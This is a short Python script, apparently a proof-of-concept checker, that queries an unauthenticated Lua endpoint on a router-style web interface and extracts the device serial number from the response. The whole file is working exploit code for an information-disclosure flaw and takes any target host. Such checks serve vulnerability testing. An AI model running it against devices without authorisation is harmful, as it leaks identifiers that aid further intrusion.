import argparse
import html
import re
import sys
import requests
SERIAL_PATTERN = re.compile(
r"SerialNumber(.*?)"
)
SERIAL_ENDPOINT = "/wizard_page/wizard_overETHfail_set_lua.lua"
def extract_serial_number(response_text: str) -> str | None:
match = SERIAL_PATTERN.search(response_text)
if not match:
return None
return html.unescape(match.group(1))
def build_url(target: str) -> str:
target = target.strip().rstrip("/")
if target.startswith(("http://", "https://")):
return f"{target}{SERIAL_ENDPOINT}"
return f"http://{target}{SERIAL_ENDPOINT}"
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Check the unauthenticated serial-number endpoint on a target."
)
parser.add_argument(
"target",
help="Target host or base URL, for example 192.168.1.1 or http://192.168.1.1",
)
parser.add_argument(
"--timeout",
type=float,
default=10.0,
help="HTTP timeout in seconds (default: 10)",
)
return parser.parse_args()
def main() -> int:
args = parse_args()
url = build_url(args.target)
try:
response = requests.get(url, timeout=args.timeout)
response.raise_for_status()
except requests.RequestException as exc:
print(f"Request failed: {exc}", file=sys.stderr)
return 1
serial_number = extract_serial_number(response.text)
if serial_number is None:
print("Serial number not found in the response.", file=sys.stderr)
return 2
print(f"SerialNumber: {serial_number}")
return 0
if __name__ == "__main__":
raise SystemExit(main())